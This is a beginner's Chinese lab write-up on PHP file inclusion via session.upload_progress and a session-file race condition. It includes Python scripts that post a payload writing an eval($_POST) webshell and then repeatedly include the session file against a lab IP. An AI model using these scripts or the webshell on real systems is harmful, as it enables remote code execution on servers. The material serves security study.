文件包含(session条件竞争)

小白第一次接触(勿喷)

一.  利用场景

当存在一个文件包含漏洞但找不到可以包含恶意文件时候

二.利用条件

需要开启下面这些配置(默认开启)当我们向服务器上传文件时,php会把该文件保存session中

session.upload_progress.cleanup = On

当这个开启后,当我们上传文件后,会把文件给删掉,所以需要条件竞争,需要当我们在服务器删除之前读取文件

session.use_strict_mode = 0(默认是零),用户可以自定义sessionid(相当于可以控制php生成的文件名字,php生成文件名字一般为sess_sessionid),并将session信息写入这个文件中,(图中为文件保存路径)

三.关闭session.upload_progress.cleanup文件包含

当关闭之后,就不需要什么竞争,只需要上传文件就行,服务器并不会清掉。(首先要去php配置文件关闭)(注意把注释去掉)

 

之后写脚本上传文件

首先先看下代码

只有一个文件包含漏洞,没有什么危险文件,还有个phpinfo文件,访问

 

晓得路径。

 

 

刚开始什么都没有

 

成功写入,尝试包含并成功写入木马

 

四. 开启session.upload_progress.cleanup文件包含

当开启后,当文件上传后,服务器会删掉,需要竞争,python多线程解决,也可以burpsuite

开启后

成功上传

 

五.关闭session.upload_progress.cleanup文件包含 代码

import requests
# import io
# import threading

url = "http://192.168.229.132/include.php"
data = {'PHP_SESSION_UPLOAD_PROGRESS': "<?php $f = fopen('2.php','w');fwrite($f,'<?php $cmd = 123;eval($_POST[$cmd]);?>');?>"}
xiao = "xiao"
files = {"1.jpg": "12323131231"}
cookies = {'PHPSESSID': xiao}
session = requests.session()


def read():
    while True:
        session.post(url, data=data, files=files, cookies=cookies)


if __name__ == "__main__":
    read()

 六.开启session.upload_progress.cleanup文件包含 代码

import threading

import requests
# import io
# import threading

url = "http://192.168.229.132/include.php"
data = {'PHP_SESSION_UPLOAD_PROGRESS': "<?php $f = fopen('3.php','w');fwrite($f,'<?php $cmd = 123;eval($_POST[$cmd]);?>');?>"}
xiao = "xiao"
files = {"1.jpg": "12323131231"}
cookies = {'PHPSESSID': xiao}
session = requests.session()


def read():
    while True:
        session.post(url, data=data, files=files, cookies=cookies)


def write():
    while True:
        new_url = url + "?file=" + "../Extensions/tmp/tmp/sess_" + xiao
        r = session.get(new_url)
        if "upload_progress_" in r.text:
            print("上传成功")
            break


if __name__ == "__main__":
    t1 = threading.Thread(target=read)
    t2 = threading.Thread(target=write)
    t1.start()
    t2.start()

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值